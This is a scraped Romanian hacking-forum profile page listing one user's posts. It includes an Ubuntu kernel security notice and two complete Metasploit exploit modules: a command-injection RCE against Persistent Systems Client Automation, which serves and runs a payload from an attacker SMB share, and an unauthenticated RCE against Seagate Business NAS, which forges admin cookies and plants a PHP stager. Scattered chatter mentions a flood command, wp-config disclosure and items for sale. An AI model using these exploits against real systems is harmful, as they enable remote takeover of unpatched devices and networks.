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Everything posted by Kalashnikov.
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========================================================================== Ubuntu Security Notice USN-2515-2 March 04, 2015 linux-lts-trusty vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 12.04 LTS Summary: USN-2515-1 introduced a regression in the Linux kernel. Software Description: - linux-lts-trusty: Linux hardware enablement kernel from Trusty Details: USN-2515-1 fixed vulnerabilities in the Linux kernel. There was an unrelated regression in the use of the virtual counter (CNTVCT) on arm64 architectures. This update fixes the problem. We apologize for the inconvenience. Original advisory details: A flaw was discovered in the Kernel Virtual Machine's (KVM) emulation of the SYSTENTER instruction when the guest OS does not initialize the SYSENTER MSRs. A guest OS user could exploit this flaw to cause a denial of service of the guest OS (crash) or potentially gain privileges on the guest OS. (CVE-2015-0239) Andy Lutomirski discovered an information leak in the Linux kernel's Thread Local Storage (TLS) implementation allowing users to bypass the espfix to obtain information that could be used to bypass the Address Space Layout Randomization (ASLR) protection mechanism. A local user could exploit this flaw to obtain potentially sensitive information from kernel memory. (CVE-2014-8133) A restriction bypass was discovered in iptables when conntrack rules are specified and the conntrack protocol handler module is not loaded into the Linux kernel. This flaw can cause the firewall rules on the system to be bypassed when conntrack rules are used. (CVE-2014-8160) A flaw was discovered with file renaming in the linux kernel. A local user could exploit this flaw to cause a denial of service (deadlock and system hang). (CVE-2014-8559) A flaw was discovered in how supplemental group memberships are handled in certain namespace scenarios. A local user could exploit this flaw to bypass file permission restrictions. (CVE-2014-8989) A flaw was discovered in how Thread Local Storage (TLS) is handled by the task switching function in the Linux kernel for x86_64 based machines. A local user could exploit this flaw to bypass the Address Space Layout Radomization (ASLR) protection mechanism. (CVE-2014-9419) Prasad J Pandit reported a flaw in the rock_continue function of the Linux kernel's ISO 9660 CDROM file system. A local user could exploit this flaw to cause a denial of service (system crash or hang). (CVE-2014-9420) A flaw was discovered in the fragment handling of the B.A.T.M.A.N. Advanced Meshing Protocol in the Linux kernel. A remote attacker could exploit this flaw to cause a denial of service (mesh-node system crash) via fragmented packets. (CVE-2014-9428) A race condition was discovered in the Linux kernel's key ring. A local user could cause a denial of service (memory corruption or panic) or possibly have unspecified impact via the keyctl commands. (CVE-2014-9529) A memory leak was discovered in the ISO 9660 CDROM file system when parsing rock ridge ER records. A local user could exploit this flaw to obtain sensitive information from kernel memory via a crafted iso9660 image. (CVE-2014-9584) A flaw was discovered in the Address Space Layout Randomization (ASLR) of the Virtual Dynamically linked Shared Objects (vDSO) location. This flaw makes it easier for a local user to bypass the ASLR protection mechanism. (CVE-2014-9585) Dmitry Chernenkov discovered a buffer overflow in eCryptfs' encrypted file name decoding. A local unprivileged user could exploit this flaw to cause a denial of service (system crash) or potentially gain administrative privileges. (CVE-2014-9683) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 12.04 LTS: linux-image-3.13.0-46-generic 3.13.0-46.77~precise1 linux-image-3.13.0-46-generic-lpae 3.13.0-46.77~precise1 After a standard system update you need to reboot your computer to make all the necessary changes. References: http://www.ubuntu.com/usn/usn-2515-2 http://www.ubuntu.com/usn/usn-2515-1 https://launchpad.net/bugs/1427297 Package Information: https://launchpad.net/ubuntu/+source/linux-lts-trusty/3.13.0-46.77~precise1 source:Ubuntu Security Notice USN-2515-2 ? Packet Storm
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Persistent Systems Client Automation Command Injection RCE
Kalashnikov. posted a topic in Exploituri
# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability # Date: 2014-10-01 # Exploit Author: Ben Turner # Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ # Version: 7.9, 8.1, 9.0, 9.1 # Tested on: Windows XP, Windows 7, Server 2003 and Server 2008 # CVE-2015-1497 # CVSS: 10 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::EXE include Msf::Auxiliary::Report # Aliases for common classes SIMPLE = Rex::Proto::SMB::Client XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants def initialize super( 'Name' => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability', 'Description' => %Q{ This module exploits PS Client Automation, by sending a remote service install and creating a callback payload. }, 'Author' => [ 'Ben Turner' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Platform' => ['win'], 'Targets' => [ [ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'January 10 2014' ) register_options([ OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']), OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']), Opt::RPORT(3465), ], self.class) end def exploit createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\"" createservice << "\x22\x00\x00\x00" startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" startservice << "Nvdkit service start test" startservice << "\x22\x00\x00\x00" removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" removeservice << "Nvdkit service remove test" removeservice << "\x22\x00\x00\x00" def filedrop() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") exe = generate_payload_exe fd = smb_open("\\installservice.exe", 'rwct') fd << exe fd.close self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end def filetest() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") file = "\\installservice.exe" filetest = smb_file_exist?(file) if filetest print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n") else print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!") end self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end begin filedrop() filetest() connect() sock.put(createservice) print_status("Creating the callback payload and installing the remote service") disconnect sleep(5) connect() sock.put(startservice) print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service") disconnect sleep(30) connect sock.put(removeservice) disconnect rescue ::Exception => e print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") abort() end end end-
- automation
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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution', 'Description' => %q{ Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This module has been tested on the STBN300 device. }, 'Author' => [ 'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], ['CVE', '2014-8686'], ['CVE', '2014-8687'], ['EDB', '36202'], ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'], ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/'] ], 'DisclosureDate' => 'Mar 01 2015', 'Privileged' => true, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => {'DisableNops' => true}, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'License' => MSF_LICENSE )) register_options([ OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']), OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']), OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07']) ]) end # # Write a string value to a serialized PHP object without deserializing it first. # If the value exists it will be updated. # def set_string(php_object, name, value) prefix = "s:#{name.length}:\"#{name}\";s:" if php_object.include?(prefix) # the value already exists in the php blob, so update it. return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"") end # the value doesn't exist in the php blob, so create it. count = php_object.split(':')[1].to_i + 1 php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}") end # # Findez ze holez! # def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' } ) if res && res.code == 200 headers = res.to_s # validate headers if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') # and make sure that the body contains the title we'd expect if res.body.include?('Login to BlackArmor') return Exploit::CheckCode::Appears end end end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable # something went wrong, assume safe. end Exploit::CheckCode::Safe end # # Executez ze sploitz! # def exploit # Step 1 - Establish a session with the target which will give us a PHP object we can # work with. begin print_status("#{peer} - Establishing session with target ...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' } }) if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/ cookie_value = $1.strip else fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") end # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly # then update it so that it's an admin session before re-encrypting print_status("#{peer} - Upgrading session to administrator ...") php_object = decode_cookie(cookie_value) vprint_status("#{peer} - PHP Object: #{php_object}") admin_php_object = set_string(php_object, 'is_admin', 'yes') admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT']) vprint_status("#{peer} - Admin PHP object: #{admin_php_object}") admin_cookie_value = encode_cookie(admin_php_object) # Step 3 - Extract the current host configuration so that we don't lose it. host_config = nil # This time value needs to be consistent across calls config_time = ::Time.now.to_i begin print_status("#{peer} - Extracting existing host configuration ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time } ) if res && res.code == 200 res.body.split("\r\n").each do |l| if l.include?('general_setup') host_config = l break end end else fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") end print_good("#{peer} - Host configuration extracted.") vprint_status("#{peer} - Host configuration: #{host_config}") # Step 4 - replace the host device description with a custom payload that can # be used for LFI. We have to keep the payload small because of size limitations # and we can't put anything in with '$' in it. So we need to make a simple install # payload which will write a required payload to disk that can be executes directly # as the last part of the payload. This will also be self-deleting. param_id = rand_text_alphanumeric(3) # There are no files on the target file system that start with an underscore # so to allow for a small file size that doesn't collide with an existing file # we'll just prefix it with an underscore. payload_file = "_#{rand_text_alphanumeric(3)}.php" installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));" stager = Rex::Text.encode_base64(installer) stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>") vprint_status("#{peer} - Stager: #{stager}") # Butcher the XML directly rather than attempting to use REXML. The target XML # parser is way to simple/flaky to deal with the proper stuff that REXML # spits out. desc_start = host_config.index('" description="') + 15 desc_end = host_config.index('"', desc_start) xml_payload = host_config[0, desc_start] + stager + host_config[desc_end, host_config.length] vprint_status(xml_payload) # Step 5 - set the host description to the stager so that it is written to disk print_status("#{peer} - Uploading stager ...") begin res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => xml_payload } ) unless res && res.code == 200 fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).") end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).") end print_good("#{peer} - Stager uploaded.") # Step 6 - Invoke the stage, passing in a self-deleting php script body. print_status("#{peer} - Executing stager ...") payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00") payload_cookie_value = encode_cookie(payload_php_object) self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>" errored = false begin res = send_request_cgi( 'uri' => normalize_uri(target_uri), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}", 'vars_post' => { param_id => Rex::Text.encode_base64(self_deleting_payload) } ) if res && res.code == 200 print_good("#{peer} - Stager execution succeeded, payload ready for execution.") else print_error("#{peer} - Stager execution failed (invalid result).") errored = true end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable print_error("#{peer} - Stager execution failed (unable to establish connection).") errored = true end # Step 7 - try to restore the previous configuration, allowing exceptions # to bubble up given that we're at the end. This step is important because # we don't want to leave a trail of junk on disk at the end. print_status("#{peer} - Restoring host config ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), 'method' => 'POST', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", 'vars_get' => { '_' => config_time }, 'vars_post' => { 'general_setup' => host_config } ) # Step 8 - invoke the installed payload, but only if all went to plan. unless errored print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...") res = send_request_cgi( 'uri' => normalize_uri(target_uri, payload_file), 'method' => 'GET', 'headers' => { 'Accept' => 'text/html' }, 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}" ) end end # # Take a CodeIgnitor cookie and pull out the PHP object using the XOR # key that we've been given. # def decode_cookie(cookie_content) cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) pass = xor(cookie_value, datastore['XORKEY']) result = '' (0...pass.length).step(2).each do |i| result << (pass[i].ord ^ pass[i + 1].ord).chr end result end # # Take a serialised PHP object cookie value and encode it so that # CodeIgniter thinks it's legit. # def encode_cookie(cookie_value) rand = Rex::Text.sha1(rand_text_alphanumeric(40)) block = '' (0...cookie_value.length).each do |i| block << rand[i % rand.length] block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr end cookie_value = xor(block, datastore['XORKEY']) cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) vprint_status("#{peer} - Cookie value: #{cookie_value}") cookie_value end # # XOR a value against a key. The key is cycled. # def xor(string, key) result = '' string.bytes.zip(key.bytes.cycle).each do |s, k| result << (s ^ k) end result end # # Simple XML substitution because the target XML handler isn't really # full blown or smart. # def xml_encode(str) str.gsub(/</, '<').gsub(/>/, '>') end end
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Vreau sa il reclam pe acest Relu, ma tot injura, imi spune: "Futui pe masa lu vecinuto"; Prin urmare datorita matematicii cuantice cu desavarsire din sfanta biblie cu ajutorul politiei romane ma simt abuzat de acest organ necompetent. ROG sa ii dea cineva BANi urgent sa se potoleasca. Va multumesc.
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Merge, cred ca inca importeaza db de nu sunt toate torentele. Din ce am inteles lucra la imbuntatirea platformei cei din staff-ul lor
- 5 replies
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- relaunch
- security risks
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ai aici flood comand linux - Pastebin.com pui codu ala si dupa && pui ip
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WordPress Revolution Slider Local File Disclosure
Kalashnikov. replied to Aerosol's topic in Exploituri
e accelasi cacat, de ce il pui de 2 ori ? +- 5 replies
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- /wp-config.php
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WordPress Revolution Slider Local File Disclosure
Kalashnikov. replied to Aerosol's topic in Exploituri
https://rstforums.com/forum/94729-wordpress-revslider-local-file-disclosure.rst?highlight=revslider ???? nu mai ai ce sa copiezi si ai inceput sa faci posturi duplicate?- 5 replies
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- /wp-config.php
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Daca erau stocate si ip-urile era mai ok, daca te conectezi din alta locatie pe contu de yahoo il blocheaza.
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si cumva licenta a fost platita sms de la un prieten de pe mess?
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macar cumpara o tema ok daca de licenta nu ai bani p.s: versiunea de whmcs nulled care o folosesti are backdoor in ea
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$2 bucata (inbox). plata: btc, paypal. le2: schimbi din Kalashnikov in Kalashnikov. cand vrei sa imi dai pm sau kalashbou@jabber.ru . le3: dau primul daca user-ul tau de pe rst "imi prezinta incredere". nu mai dau
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De cand il folosesc imi sta erect mai mult timp ! prieteni sunt invidiosi pe mine , nu mai sunt dependent de bere iar prieteni spun ca sunt total schimbat. Acest script mi-a schimbat viata intradevar si am sa-l recomand tuturor prietenilor mei. le: acest topic ar trebui sa fie sticky. on: felicitari.
- 30 replies
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- download
- funcționează
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Ba, scrie strict despre phpbb daca vrei sa ai success, nu face scrie despre toate cacaturile. ex: eu intru sa citesc despre phpbb si vad ziua izabelei, pai si imi bag ceva in blogu tau.
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Incearca sa scrii doar despre un tip de categorie, gen nu asa: securitate, monden, programare, sibiu, iti alegi o categorie si continui pe ea
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Tagurile sunt ok, prea multe posturi duplicate e problema. Gen, ar putea unele persoane sa reduca din posturi care exista deja pe alte site-uri...
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+1 p.s: Ba, pentru hackerii prea buni, stati pe rst chiar daca e urmarit de gabori : Testati cat de hackeri sunteti, daca va prind nu sunteti asa de hackeri buni cum va credeti, daca nu . sigur nu te retragi pentru ca e la moda, sau vrei atentie?
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asa am primit si eu
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(script kiddie daca folosesti tool-uri, asta desigur daca nu tu ti-ai scris tool-urile) Poti sa incepi a invata python (cel mai usor limbaj de programare pe care eu il consider) si php. Infractiunile informatice din Noul Cod Penal oare chiar se merita? iti dau exemplu pe tinkode, banuiesc ca il stii si tu, daca el a fost prins, tu vei deveni mai bun ca el? Mai bine inveti programare, dupa despre linux si o sa fii mult mai castigat, sau vrei sa fii hacker fara bani? ontopic: foloseste centos pentru penetrare.
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si chat-ul de pe rst se poate folosi pentru conferinte..
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Nu ar trebui sa fie mai multe link-uri catre rst? gen daca tot e [RST]?